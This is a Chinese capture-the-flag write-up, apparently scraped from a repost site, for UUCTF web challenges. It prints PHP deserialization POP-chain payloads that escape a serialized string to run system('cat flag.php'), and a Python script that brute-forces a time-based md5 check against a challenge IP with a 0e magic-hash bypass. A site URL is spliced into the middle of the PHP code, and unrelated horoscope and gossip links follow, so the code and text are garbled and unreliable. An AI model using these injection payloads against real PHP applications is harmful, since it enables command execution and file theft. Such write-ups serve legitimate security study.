POC
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="phpinfo();";}}echo(base64_encode(serialize(new nothing())));
将上面两处的构造的结合起来的payload
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="phpinfo();";}}$basedata = https://www.huyubaike.com/biancheng/(base64_encode(serialize(new nothing())));$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';echo $str."\n";$hacker='';for($i=0;$i<strlen($str);$i++){$hacker.='hacker';}$payload = $hacker.$str;echo $payload;
执行效果

文章插图
找flag在当前目录的flag.php
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="system('cat flag.php');";}}$basedata = https://www.huyubaike.com/biancheng/(base64_encode(serialize(new nothing())));$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';$hacker='';for($i=0;$i<strlen($str);$i++){$hacker.='hacker';}$payload = $hacker.$str;echo $payload;

文章插图
funmd5--对代码的理解打开题目 直接源码
重点
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){echo "well!you win again!now flag is yours.<br>";echo $flag;}
我们知道$md5[0]==md5($md5[0])
绕过可以使用0e215962017,但是还要绕过preg_replace使用%0a,我们审计代码发现,后面有对md5[0]的截取 我们只要保证$sub=1从第一位开始截取,就可以避免%0a,而且$sub的值是当前时间的最后一位,也就是保证当前的时间为xxxxxxxx1即可$sub=substr($time,-1);$md5[0]=substr($md5[0],$sub);
$guessmd5=md5($time);
我们使用脚本快速请求就可以在传入md5[1]也是当前时间的md5值 两者就相等脚本
import hashlib,time,requestsdef guess_md5():while True:url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"resp = requests.get(url=url)if "win" in resp.text:print(resp.text)returntime.sleep(1)guess_md5()

文章插图
backdoor--tonyenc加密
这题我不太会哦 没咋理解 不是很会使用IDAhint:backdoor.php是一个后门文件
打开题目 说 布里茨 布里茨就是lol的机器人 看robots.txt

文章插图

文章插图
下载源码,发现五个文件大致看下 robots.txtindex.php无信息

文章插图
看看backdoor.php的代码,根据提示 他是一个后门文件 那肯定是有连接后门的密码的,但是乱码又不知道

文章插图
到了这里属实是没啥思路 看wp IDA逆向so文件
so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据经验总结扩展阅读
- 2023年最幸福的星座情侣 无法抵抗的吸引力
- 哪些星座女生无法抵挡制服诱惑
- 12月坠入甜蜜爱情中无法自拔的3星座 完美邂逅良缘
- 电脑无法启动开不了机怎么办(电脑能正常启动但是无法进入系统)
- 电脑无法开机进不了系统怎么解决(win10开机后假死黑屏)
- windows启动不了开不了机怎么办(笔记本无法启动windows)
- 在爱情中让人无法错过的三大星座女
- 日久不生情,即使陪伴再久也无法相爱的星座
- 大S 爆具俊晔打包回韩国,称无法满足大S,已与前女友蔡妍打得火热
- 失恋后,无法从前任阴影中走出的星座